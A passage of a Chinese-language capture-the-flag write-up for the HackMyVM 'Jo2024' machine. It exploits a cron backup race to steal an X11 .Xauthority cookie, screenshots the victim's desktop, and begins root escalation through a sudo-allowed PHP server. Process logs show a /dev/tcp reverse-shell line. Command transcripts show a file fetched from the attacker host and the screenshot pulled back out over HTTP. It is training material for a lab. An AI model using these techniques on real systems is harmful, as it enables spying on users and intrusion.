    md5src=$(md5sum &amp;quot;$srcfile&amp;quot; | cut -d &amp;#39; &amp;#39; -f1)
    md5dest=$(md5sum &amp;quot;$destfile&amp;quot; | cut -d &amp;#39; &amp;#39; -f1)
    if [[ &amp;quot;$md5src&amp;quot; != &amp;quot;$md5dest&amp;quot; ]]; then
        echo &amp;quot;MD5 mismatch for $srcfile :(&amp;quot;
    fi
    chmod 700 &amp;quot;$destfile&amp;quot;
 
done
 
echo &amp;quot;Copy complete. All files verified !&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;运行频率&lt;/strong&gt;：每分钟运行一次（从cron输出可见）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运行者&lt;/strong&gt;：以用户 &lt;code&gt;vanity&lt;/code&gt; (UID=1000) 运行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;：将 &lt;code&gt;/home/vanity&lt;/code&gt; 目录下的文件（除了 &lt;code&gt;user.txt&lt;/code&gt;）复制到 &lt;code&gt;/backup&lt;/code&gt; 目录&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;dd&lt;/code&gt; 命令复制文件&lt;/li&gt;
&lt;li&gt;每次运行会&lt;strong&gt;删除&lt;/strong&gt;&lt;code&gt;/backup&lt;/code&gt; 目录中的所有内容&lt;/li&gt;
&lt;li&gt;复制后设置文件权限为 &lt;code&gt;700&lt;/code&gt;（只有所有者可读写执行）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;T0: cron 启动（vanity）
T1: rm -rf /backup/*
T2: find /home/vanity -type f
T3: dd if=/home/vanity/.Xauthority of=/backup/.Xauthority
T4: md5 校验
T5: chmod 700 /backup/.Xauthority
T6: 脚本结束
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;重点来了：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;T3 到 T5 之间，是一个“短暂但真实存在”的窗口&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;操作系统视角：T3 到 T5 发生了什么？&lt;/h3&gt;
&lt;p&gt;我们只盯着 &lt;code&gt;.Xauthority&lt;/code&gt; 这一份文件：&lt;/p&gt;
&lt;h3&gt;🔹 T3：&lt;code&gt;dd&lt;/code&gt; 开始复制&lt;/h3&gt;
&lt;p&gt;此时发生的是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/backup/.Xauthority&lt;/code&gt;&lt;strong&gt;被创建&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;文件内容开始写入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限还没被改&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;默认权限 = &lt;strong&gt;由 umask 决定&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 在很多系统上，默认是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-rw-r--r--  (644)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件已经存在 &amp;amp; 可读，但还没 chmod&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;🔹 T4：md5sum 校验&lt;/h3&gt;
&lt;p&gt;这一步：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;只是读文件&lt;/li&gt;
&lt;li&gt;不改权限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;延长了“窗口时间”&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;🔹 T5：chmod 700&lt;/h3&gt;
&lt;p&gt;这一步才真正把门关上。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;⏱️ 结论一句话&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;在 T3 ~ T5 的这几毫秒 / 几十毫秒里，&lt;br&gt;&lt;strong&gt;&lt;code&gt;**/backup/.Xauthority**&lt;/code&gt;&lt;/strong&gt; 是“短暂对 www-data 可读的”&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;while true; do cat /backup/.Xauthority &amp;gt;&amp;gt; /tmp/log 2&amp;gt;/dev/null; sleep 0.01; done
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@jo2024.hmv:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

2026/01/22 12:00:53 CMD: UID=33    PID=34731  | /usr/bin/bash                                                   
2026/01/22 12:00:53 CMD: UID=33    PID=34730  | sh -c /usr/bin/bash                                             
2026/01/22 12:00:53 CMD: UID=33    PID=34729  | /usr/bin/script -qc /usr/bin/bash /dev/null                     
2026/01/22 12:00:53 CMD: UID=33    PID=34710  | bash -i 
2026/01/22 12:00:53 CMD: UID=33    PID=34709  | sh -c bash -c &amp;#39;exec bash -i &amp;amp;&amp;gt;/dev/tcp/192.168.0.106/4444 &amp;lt;&amp;amp;1&amp;#39;  
2026/01/22 12:00:53 CMD: UID=33    PID=4210   | /usr/bin/bash                                                   
2026/01/22 12:00:53 CMD: UID=33    PID=4209   | sh -c /usr/bin/bash                                             
2026/01/22 12:00:53 CMD: UID=33    PID=4208   | /usr/bin/script -qc /usr/bin/bash /dev/null                     
2026/01/22 12:00:53 CMD: UID=33    PID=4189   | bash -i 
2026/01/22 12:00:53 CMD: UID=33    PID=4188   | sh -c bash -c &amp;#39;exec bash -i &amp;amp;&amp;gt;/dev/tcp/192.168.0.106/4444 &amp;lt;&amp;amp;1&amp;#39;  
2026/01/22 12:00:53 CMD: UID=33    PID=2399   | /usr/sbin/apache2 -k start                                                                           
2026/01/22 12:00:53 CMD: UID=1000  PID=994    | /usr/libexec/gvfsd-trash --spawner :1.5 /org/gtk/gvfs/exec_spaw/0                                                       
2026/01/22 12:00:53 CMD: UID=1000  PID=973    | /usr/libexec/gvfs-afc-volume-monitor                            
2026/01/22 12:00:53 CMD: UID=1000  PID=968    | /usr/libexec/gvfs-mtp-volume-monitor                            
2026/01/22 12:00:53 CMD: UID=1000  PID=964    | /usr/libexec/gvfs-goa-volume-monitor                            
2026/01/22 12:00:53 CMD: UID=1000  PID=960    | /usr/libexec/gvfs-gphoto2-volume-monitor                        
2026/01/22 12:00:53 CMD: UID=1000  PID=955    | /usr/libexec/gvfs-udisks2-volume-monitor                        
2026/01/22 12:00:53 CMD: UID=1000  PID=942    | /usr/bin/gnome-keyring-daemon --foreground --components=pkcs11,secrets --control-directory=/run/user/1000/keyring       
2026/01/22 12:00:53 CMD: UID=1000  PID=931    | /usr/bin/gnome-keyring-daemon --start --foreground --components=secrets                                                 
2026/01/22 12:00:53 CMD: UID=1000  PID=924    | /usr/libexec/at-spi2-registryd --use-gnome-session              
2026/01/22 12:00:53 CMD: UID=1000  PID=915    | /usr/libexec/xdg-desktop-portal-gtk                             
2026/01/22 12:00:53 CMD: UID=0     PID=912    | fusermount3 -o rw,nosuid,nodev,fsname=portal,auto_unmount,subtype=portal -- /run/user/1000/doc                          
2026/01/22 12:00:53 CMD: UID=1000  PID=902    | /usr/libexec/xdg-permission-store                               
2026/01/22 12:00:53 CMD: UID=1000  PID=899    | /usr/libexec/xdg-document-portal                                
2026/01/22 12:00:53 CMD: UID=1000  PID=890    | /usr/libexec/dconf-service                                      
2026/01/22 12:00:53 CMD: UID=1000  PID=889    | /usr/libexec/xdg-desktop-portal                                 
2026/01/22 12:00:53 CMD: UID=1000  PID=883    | /usr/lib/menu-cache/menu-cached /run/user/1000/menu-cached-:0   
2026/01/22 12:00:53 CMD: UID=1000  PID=854    | /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 11 --address=unix:path=/run/user/1000/at-spi/bus_0                   
2026/01/22 12:00:53 CMD: UID=1000  PID=841    | /usrlibexec/at-spi-bus-launcher --launch-immediately           
2026/01/22 12:00:53 CMD: UID=1000  PID=824    | /usr/bin/ssh-agent -s                                           
2026/01/22 12:00:53 CMD: UID=1000  PID=823    | xdg-user-dirs-gtk-update                                        
2026/01/22 12:00:53 CMD: UID=1000  PID=821    | /usr/bin/mousepad /home/vanity/creds/credentials.txt            
2026/01/22 12:00:53 CMD: UID=1000  PID=818    | parcellite                                                      
2026/01/22 12:00:53 CMD: UID=1000  PID=816    | xscreensaver-systemd                                            
2026/01/22 12:00:53 CMD: UID=1000  PID=807    | xscreensaver -no-splash                                         
2026/01/22 12:00:53 CMD: UID=1000  PID=806    | pcmanfm --desktop --profile LXDE                                
2026/01/22 12:00:53 CMD: UID=1000  PID=805    | lxpanel --profile LXDE                                          
2026/01/22 12:00:53 CMD: UID=1000  PID=801    | lxpolkit                                                        
2026/01/22 12:00:53 CMD: UID=1000  PID=795    | openbox --config-file /home/vanity/.config/openbox/lxde-rc.xml  
2026/01/22 12:00:53 CMD: UID=1000  PID=790    | /usr/libexec/gvfsd-fuse /run/user/1000/gvfs -f                  
2026/01/22 12:00:53 CMD: UID=1000  PID=785    | /usr/libexec/gvfsd                                              
2026/01/22 12:00:53 CMD: UID=1000  PID=770    | /usr/bin/ssh-agent x-session-manager                            
2026/01/22 12:00:53 CMD: UID=107   PID=722    | /usr/libexec/rtkit-daemon                                       
2026/01/22 12:00:53 CMD: UID=1000  PID=717    | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only               
2026/01/22 12:00:53 CMD: UID=1000  PID=707    | /usr/bin/lxsession -s LXDE -e LXDE                              
2026/01/22 12:00:53 CMD: UID=1000  PID=705    | /usr/bin/pulseaudio --daemonize=no --log-target=journal         
2026/01/22 12:00:53 CMD: UID=1000  PID=664    | (sd-pam)                                                        
2026/01/22 12:00:53 CMD: UID=1000  PID=663    | /lib/systemd/systemd --user                                     
2026/01/22 12:00:53 CMD: UID=0     PID=654    | lightdm --session-child 15 18                                   
2026/01/22 12:00:53 CMD: UID=33    PID=643    | /usr/sbin/apache2 -k start                                                                           
2026/01/22 12:00:53 CMD: UID=0     PID=626    | /sbin/agetty -o -p -- \u --noclear - linux                      
2026/01/22 12:00:53 CMD: UID=0     PID=625    | /usr/lib/xorg/Xorg :0 -seat seat0 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch                          
2026/01/22 12:00:53 CMD: UID=0     PID=606    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups         
2026/01/22 12:00:53 CMD: UID=0     PID=581    | /usr/sbin/lightdm                                               
2026/01/22 12:00:53 CMD: UID=996   PID=571    | /usr/lib/polkit-1/polkitd --no-debug                            
2026/01/22 12:00:53 CMD: UID=0     PID=528    | /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev                                                      
2026/01/22 12:00:53 CMD: UID=0     PID=525    | /usr/sbin/connmand -n                                           
2026/01/22 12:00:53 CMD: UID=0     PID=521    | /usr/libexec/udisks2/udisksd                                    
2026/01/22 12:00:53 CMD: UID=0     PID=518    | /lib/systemd/systemd-logind                                     
2026/01/22 12:00:53 CMD: UID=0     PID=517    | /usr/sbin/ofonod -n                                             
2026/01/22 12:00:53 CMD: UID=0     PID=514    | /usr/sbin/dundee -n                                             
2026/01/22 12:00:53 CMD: UID=100   PID=513    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                
2026/01/22 12:00:53 CMD: UID=0     PID=512    | /usr/sbin/cron -f                                               
2026/01/22 12:00:53 CMD: UID=0     PID=439    | dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                                     
2026/01/22 12:00:53 CMD: UID=997   PID=274    | /lib/systemd/systemd-timesyncd                                  
2026/01/22 12:00:53 CMD: UID=0     PID=265    | /lib/systemd/systemd-udevd                                      
2026/01/22 12:00:53 CMD: UID=0     PID=233    | /lib/systemd/systemd-journald                                   
2026/01/22 12:00:53 CMD: UID=0     PID=1      | /sbin/init splash                                               
2026/01/22 12:01:01 CMD: UID=0     PID=35519  | /usr/sbin/CRON -f                                               
2026/01/22 12:01:01 CMD: UID=0     PID=35518  | /usr/sbin/cron -f                                               
2026/01/22 12:01:01 CMD: UID=0     PID=35520  | /usr/sbin/CRON -f                                               
2026/01/22 12:01:01 CMD: UID=0     PID=35521  | /bin/sh -c /root/.local/error.sh                                
2026/01/22 12:01:01 CMD: UID=0     PID=35522  | /usr/sbin/CRON -f                                               
2026/01/22 12:01:01 CMD: UID=0     PID=35523  | /bin/bash /root/.local/error.sh                                 
2026/01/22 12:01:01 CMD: UID=1000  PID=35524  | /bin/sh -c /home/vanity/backup                                                                    
2026/01/22 12:01:02 CMD: UID=0     PID=35608  | 
2026/01/22 12:02:01 CMD: UID=0     PID=35610  | /usr/sbin/CRON -f                                               
2026/01/22 12:02:01 CMD: UID=0     PID=35609  | /usr/sbin/cron -f                                               
2026/01/22 12:02:01 CMD: UID=0     PID=35611  | /usr/sbin/CRON -f                                               
2026/01/22 12:02:01 CMD: UID=0     PID=35612  | /usr/sbin/CRON -f                                               
2026/01/22 12:02:01 CMD: UID=0     PID=35613  | /bin/sh -c /root/.local/error.sh                                
2026/01/22 12:02:01 CMD: UID=1000  PID=35614  | /bin/sh -c /home/vanity/backup                                  
2026/01/22 12:02:01 CMD: UID=0     PID=35615  | /bin/bash /root/.local/error.sh                                 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://book.hacktricks.wiki/en/network-services-pentesting/6000-pentesting-x11.html#screenshots-capturing&quot;&gt;6000 - Pentesting X11 - HackTricks&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@jo2024.hmv:/home/vanity/Images$ w                
 12:35:25 up  6:42,  1 user,  load average: 0.00, 0.00, 0.00                  
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT           
vanity   tty7     :0               05:53    6:42m  0.00s  0.03s /usr/bi    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;w&lt;/code&gt; 是一个用于显示&lt;strong&gt;当前登录用户&lt;/strong&gt;及其&lt;strong&gt;正在执行的操作&lt;/strong&gt;的系统监控命令。它提供的信息比简单的 &lt;code&gt;who&lt;/code&gt; 命令更丰富，类似于一个实时、精简的用户活动仪表板。&lt;/p&gt;
&lt;h3&gt;tty7是什么？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tty&lt;/strong&gt; = teletypewriter（终端设备）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;tty1-tty6&lt;/strong&gt;：通常是文本终端（Ctrl+Alt+F1到F6切换）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;tty7&lt;/strong&gt;：通常是&lt;strong&gt;图形界面终端&lt;/strong&gt;（X服务器运行的地方）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在你的&lt;code&gt;w&lt;/code&gt;命令输出中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;textvanity   tty7     :0               04:34    4:19   0.00s  0.03s /usr/bin/lxsession -s LXDE -e LXDE&lt;ul&gt;
&lt;li&gt;用户&lt;code&gt;vanity&lt;/code&gt;在tty7上登录&lt;/li&gt;
&lt;li&gt;运行着LXDE桌面环境&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:0&lt;/code&gt; 是X11显示编号&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@jo2024.hmv:/tmp$ ls -al /home/vanity/
total 76
drwxr-xr-x 10 vanity vanity 4096 Jan 23 04:35 .
drwxr-xr-x  3 root   root   4096 Jul 28  2024 ..
-rw-------  1 vanity vanity  158 Jan 23 04:34 .Xauthority
lrwxrwxrwx  1 root   root      9 Jul 26  2024 .bash_history -&amp;gt; /dev/null
-rw-r--r--  1 vanity vanity  220 Jul 29  2024 .bash_logout
-rw-r--r--  1 vanity vanity 3526 Jul 29  2024 .bashrc
drwxr-xr-x  7 vanity vanity 4096 Jul 29  2024 .cache
drwx------ 13 vanity vanity 4096 Jul 29  2024 .config
-rw-r--r--  1 vanity vanity   35 Jul 29  2024 .dmrc
-rw-------  1 vanity vanity   36 Jul 29  2024 .lesshst
drwxr-xr-x  3 vanity vanity 4096 Jul 29  2024 .local
-rw-r--r--  1 vanity vanity  807 Jul 29  2024 .profile
drwx------  2 vanity vanity 4096 Jul 29  2024 .ssh
-rw-r--r--  1 vanity vanity    8 Jul 29  2024 .xprofile
drwxr-xr-x  2 vanity vanity 4096 Jul 29  2024 Desktop
drwxr-xr-x  2 vanity vanity 4096 Jul 29  2024 Documents
drwxr-xr-x  2 vanity vanity 4096 Jul 29  2024 Images
-rwxr-xr-x  1 vanity vanity  557 Jul 29  2024 backup
drwx------  2 vanity vanity 4096 Jul 29  2024 creds
-rwx------  1 vanity vanity   33 Jul 29  2024 user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;一、&lt;code&gt;.Xauthority&lt;/code&gt; 是什么？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;**.Xauthority**&lt;/code&gt;** 是 X11 的“门禁卡盒子”**&lt;/p&gt;
&lt;p&gt;谁拿到里面的 &lt;strong&gt;MIT-MAGIC-COOKIE&lt;/strong&gt;，&lt;br&gt;谁就能“合法”连接 X Server，&lt;strong&gt;不管你是谁、不管你什么用户&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;二、先理解 X11 的信任模型（这是根）&lt;/h3&gt;
&lt;p&gt;X11 是个&lt;strong&gt;非常老的系统&lt;/strong&gt;，设计年代的假设是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本机用户是可信的&lt;/li&gt;
&lt;li&gt;本机不会跑恶意代码&lt;/li&gt;
&lt;li&gt;多用户桌面 ≈ 不存在&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以它的核心逻辑是：&lt;/p&gt;
&lt;p&gt;❌ 不做“用户隔离”&lt;br&gt;✅ 只做“是否被允许连接显示服务器”&lt;/p&gt;
&lt;p&gt;这就引出了一个问题：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我凭什么相信你能连我这个显示器？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;答案就是：&lt;strong&gt;Cookie&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;三、&lt;code&gt;.Xauthority&lt;/code&gt; 文件本质上是什么？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.Xauthority&lt;/code&gt; 不是配置文件，它是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;二进制数据库&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;存的是：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;显示名 + 认证方式 + 密钥
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你用 &lt;code&gt;xxd&lt;/code&gt; 看到的这些：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;MIT-MAGIC-COOKIE-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不是字符串装饰，而是 &lt;strong&gt;认证协议名称&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;结构可以抽象成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[ display :0 ] -&amp;gt; [ MIT-MAGIC-COOKIE-1 ] -&amp;gt; [ 128-bit 随机密钥 ]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;四、MIT-MAGIC-COOKIE-1 到底“魔法”在哪？&lt;/h3&gt;
&lt;p&gt;它的机制非常简单，也非常致命：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;X Server 启动时生成一个随机 cookie&lt;/li&gt;
&lt;li&gt;cookie 被写进 &lt;code&gt;.Xauthority&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;客户端连接 X Server 时：&lt;ul&gt;
&lt;li&gt;“我是谁” ❌&lt;/li&gt;
&lt;li&gt;“我是不是 root” ❌&lt;/li&gt;
&lt;li&gt;“你给我 cookie 吗” ✅&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果 cookie 匹配：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;X Server：你进来吧&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;没有第二道验证。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;五、&lt;code&gt;.Xauthority&lt;/code&gt; 放在哪？为什么会被偷？&lt;/h3&gt;
&lt;p&gt;通常路径是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/home/vanity/.Xauthority
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但在现实中，经常会出现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;X 程序以 root 启动&lt;/li&gt;
&lt;li&gt;DISPLAY 被 export 给别的用户&lt;/li&gt;
&lt;li&gt;Web 服务继承了环境变量&lt;/li&gt;
&lt;li&gt;文件权限配置错误&lt;/li&gt;
&lt;li&gt;临时 copy 到 &lt;code&gt;/tmp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;备份目录可读（你这个就是）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你拿到的 &lt;code&gt;log&lt;/code&gt; 文件，本质上就是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;vanity 的 &lt;strong&gt;&lt;code&gt;**.Xauthority**&lt;/code&gt;&lt;/strong&gt; 副本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@jo2024.hmv:/home/vanity$ cat /tmp/log debian11MIT-MAGIC-COOKIE-1�&amp;gt;7�
�EXJ[���f�debian0MIT-MAGIC-COOKIE-1������m�lJ���

jo2024.hmv0MIT-MAGIC-COOKIE-1�J�@�s��wA�6[7��
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传busybox&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@jo2024.hmv:/tmp$ wget http://192.168.10.105:8888/busybox
(remote) www-data@jo2024.hmv:/tmp$ chmod +x busybox 
(remote) www-data@jo2024.hmv:/tmp$ ./busybox xxd log
00000000: 0100 0006 6465 6269 616e 0002 3131 0012  ....debian..11..
00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945  MIT-MAGIC-COOKIE
00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010  -1...&amp;gt;7...EXJ[..
00000030: c6d3 6685 0100 0006 6465 6269 616e 0001  ..f.....debian..
00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f  0..MIT-MAGIC-COO
00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00  KIE-1........m..
00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032  .lJ........jo202
00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41  4.hmv..0..MIT-MA
00000080: 4749 432d 434f 4f4b 4945 2d31 0010 a4d5  GIC-COOKIE-1....
00000090: 7190 b1f2 25fe f8e4 28c8 959e b4f2 0100  q...%...(.......
000000a0: 0006 6465 6269 616e 0002 3131 0012 4d49  ..debian..11..MI
000000b0: 542d 4d41 4749 432d 434f 4f4b 4945 2d31  T-MAGIC-COOKIE-1
000000c0: 0010 e23e 37c8 0ab2 4558 4a5b f010 c6d3  ...&amp;gt;7...EXJ[....
000000d0: 6685 0100 0006 6465 6269 616e 0001 3000  f.....debian..0.
000000e0: 124d 4954 2d4d 4147 4943 2d43 4f4f 4b49  .MIT-MAGIC-COOKI
000000f0: 452d 3100 10f9 9d8e bcf0 f56d 8f00 036c  E-1........m...l
00000100: 4aac edb2 0c01 0000 0a6a 6f32 3032 342e  J........jo2024.
00000110: 686d 7600 0130 0012 4d49 542d 4d41 4749  hmv..0..MIT-MAGI
00000120: 432d 434f 4f4b 4945 2d31 0010 a4d5 7190  C-COOKIE-1....q.
00000130: b1f2 25fe f8e4 28c8 959e b4f2            ..%...(.....
(remote) www-data@jo2024.hmv:/tmp$ xauth -f log     
Using authority file log
xauth&amp;gt; list
debian/unix:11  MIT-MAGIC-COOKIE-1  e23e37c80ab245584a5bf010c6d36685
debian/unix:0  MIT-MAGIC-COOKIE-1  f99d8ebcf0f56d8f00036c4aacedb20c
jo2024.hmv/unix:0  MIT-MAGIC-COOKIE-1  a4d57190b1f225fef8e428c8959eb4f2
debian/unix:11  MIT-MAGIC-COOKIE-1  e23e37c80ab245584a5bf010c6d36685
debian/unix:0  MIT-MAGIC-COOKIE-1  f99d8ebcf0f56d8f00036c4aacedb20c
jo2024.hmv/unix:0  MIT-MAGIC-COOKIE-1  a4d57190b1f225fef8e428c8959eb4f2
xauth&amp;gt; 
(remote) www-data@jo2024.hmv:/tmp$ export XAUTHORITY=/tmp/log            
(remote) www-data@jo2024.hmv:/tmp$ xwd -root -screen -silent -display :0 &amp;gt; screenshot.xwd
(remote) www-data@jo2024.hmv:/tmp$ python3 -m http.server 8888
# kali
┌──(kali💀kali)-[~/temp/JO2024]
└─$ wget http://192.168.10.101:8888/screenshot.xwd                                                                                                                                     
┌──(kali💀kali)-[~/temp/JO2024]
└─$ convert screenshot.xwd screenshot.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Jo2024-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;vanity@jo2024:~$ sudo -l
Matching Defaults entries for vanity on jo2024:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vanity may run the following commands on jo2024:
    (ALL : ALL) NOPASSWD: /usr/local/bin/php-server.sh
vanity@jo2024:~$ cat /usr/local/bin/php-server.sh
#!/bin/bash

/usr/bin/php -t /opt -S 0.0.0.0:8000
vanity@jo2024:~$ sudo /usr/local/bin/php-server.sh&amp;amp;
[1] 449123
vanity@jo2024:~$ ss -tnlup
Netid              State               Recv-Q              Send-Q                           Local Address:Port                           Peer Address:Port              Process              
udp                UNCONN              0                   0                                 127.0.0.1%lo:53                                  0.0.0.0:*                                      
udp                UNCONN              0                   0                                     [::1]%lo:53                                     [::]:*                                      
tcp                LISTEN              0                   128                                    0.0.0.0:22                                  0.0.0.0:*                                      
tcp                LISTEN              0                   4096                                   0.0.0.0:8000                                0.0.0.0:*                                      
tcp                LISTEN              0                   10                                127.0.0.1%lo:53                                  0.0.0.0:*                                      
tcp                LISTEN              0                   511                                          *:80                                        *:*                                      
tcp                LISTEN              0                   128                                       [::]:22                                     [::]:*                                      
tcp                LISTEN              0                   10                                    [::1]%lo:53                                     [::]:*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Jo2024-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Jo2024-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 打开源码能看见：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;const csrfToken =
  &amp;quot;0b8c28722248d54790eb611700a9c76afbdada117ee57f7bb3b7ce72c84f10c7&amp;quot;;

document.addEventListener(&amp;quot;DOMContentLoaded&amp;quot;, function () {
  fetch(&amp;quot;get_protected_content.php&amp;quot;, {
    method: &amp;quot;POST&amp;quot;,
    headers: {
      &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;,
    },
    body: JSON.stringify({ token: csrfToken }),
  })
    .then((response) =&amp;gt; response.json())
    .then((data) =&amp;gt; {
      if (data.content) {
        document
          .getElementById(&amp;quot;protected-content&amp;quot;)
          .setAttribute(&amp;quot;data-content&amp;quot;, data.content);
      } else {
        console.error(&amp;quot;Failed to load content:&amp;quot;, data);
      }
    })
